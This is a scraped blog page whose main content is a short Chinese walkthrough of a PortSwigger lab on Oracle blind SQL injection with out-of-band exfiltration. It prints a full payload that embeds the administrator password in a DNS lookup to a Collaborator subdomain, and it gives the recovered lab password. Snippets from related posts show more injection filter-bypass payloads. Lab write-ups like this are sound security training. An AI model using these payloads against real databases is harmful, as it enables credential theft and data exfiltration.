burpsuite靶场----SQL注入17----oracle之DNS外带

靶场地址

https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration

正式开始

payload模板:'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
1.获取到burpsuite默认的dns

2.将BURP-COLLABORATOR-SUBDOMAIN替换为自己获得的subdomain
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.86cqq9vs9yhbsyygo7t4lmjvqmwck1.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
3.成功

获取账号密码
administrator tiyq3pay84ugnxx5f5ig

标签：17,burpsuite,----,DNS,SQL,靶场
From： https://www.cnblogs.com/thebeastofwar/p/17641456.html

【题解】#119. 最大整数题解（2023-07-12更新）
#119.最大整数题解本文章的访问次数为次。Part1提示题目传送门欢迎大家指出错误并私信这个蒟蒻欢迎大家在下方评论区写出自己的疑问（记得@这个蒟蒻）本文已同步至学校网站、博客园。Part2背景本来是不想写这篇题解的，但是由于卡了这个蒟蒻\(1\)整天，故此纪念。Par......
C#.Net6 WebAPI制作简单自定义Token验证
一、创建自定义类MyMiddleware继承中间件IMiddleware并实现接口二、在实现接口中的方法编写Token验证逻辑三、在WebAPI的Program类中的builder里注入自定义的类和app里配置自定义中间件builder.Services.AddScoped(typeof(MyMiddleware));app.UseMiddleware(typeof(MyMidd......
这是一个空白文档
添加依赖：spring-boot-starter-data-redis和spring-boot-starter-cache在具体Redis应用中有2种方式：编程和注解注解缓存应用开发@Cacheable如果缓存中不存在目标值，则将调用目标方法并将返回的值存入缓存；如果存在，则直接返回缓存中的值，不会执行方法体。即使方法体内进行了数据库的......
iwebsec-sql注入 10 双重url编码绕过
01、题目分析依旧是对关键词进行了过滤，除了双写大小写等过滤方法还可以采用双重url编码，在SQL注入攻击中，双层URL编码绕过机制是一种黑客利用URL编码的漏洞绕过安全检查的手法。原始的URL编码是将特殊字符转换成%后面跟着它的ASCII值的十六进制表示。例如，'被编码为%......
iwebsec-sql注入 11 十六进制编码绕过
01、题目分析这里对单引号双引号啥的进行了过滤，可以采用16进制编码进行绕过02、手工注入这个和上次的双重url编码有异曲同工之妙，不过这个编码就简单了，直接十六进制编码即可，这里采用的编码软件是CaptfEncoder-win-x64-3.1.2.exe，16进制编码主要是在引号方面--查询行数?id=1or......
敏捷项目管理实践管理方法
Leangoo领歌是一款永久免费的专业敏捷研发管理工具，提供敏捷研发解决方案，解决研发痛点，打造成功产品。帮助团队实现需求、迭代、缺陷、任务、测试、发布等全方位研发管理。敏捷产品路线图管理：产品路线图是一个高层次的战略计划，它描述了产品在未来一段时间可能会如何发展和壮大......
iwebsec-sql注入 08 大小写过滤注入
01、题目分析大小写过滤顾名思义，会对正常小写的sql语句进行过滤，这个时候只需要大写sql注入语句即可02、手工注入?id=-1UNIONSELECT1,2,3?id=-1UNIONSELECT1,2,DATABASE()?id=-1UNIONSELECT1,2,GROUP_CONCAT(TABLE_NAME)FROMINFORMATION_SCHEMA.TABLESWHERETABLE......
CF1575G GCD Festival 题解
题意给定一个长度为\(n\)的正整数数列\(a\)，求\[\sum\limits_{i=1}^{n}\sum\limits_{j=1}^{n}\gcd\left(a_i,a_j\right)\times\gcd\left(i,j\right)\]（\(1\len,a_i\le10^5\)）。题解根据欧拉函数的性质，可以得出\[n=\sum\limits_{d\midn}\varphi(d)\]该......
iwebsec-sql注入 09 双写关键字绕过
01、题目分析大小写过滤顾名思义，会对正常小写的sql语句进行过滤，这个时候只需要大写sql注入语句即可02、手工注入关键词绕过顾名思义，就是将一些sql注入中会用到的一些关键词进行过滤，本关是将select过滤了，那就双写写成seselectlect?id=1orderby3--id=-1就是不显示内容?id=......
快速排序
publicstaticvoidquickSort(int[]arr,intstart,intend){intstandard=arr[start];intlow=start;inthigh=end;while(low<high){//找比标准数大的数、比标准数小的数while(low<high&&standard<=arr[high]){......

burpsuite靶场----SQL注入17----oracle之DNS外带

burpsuite靶场----SQL注入17----oracle之DNS外带

靶场地址

正式开始

相关文章

赞助商

阅读排行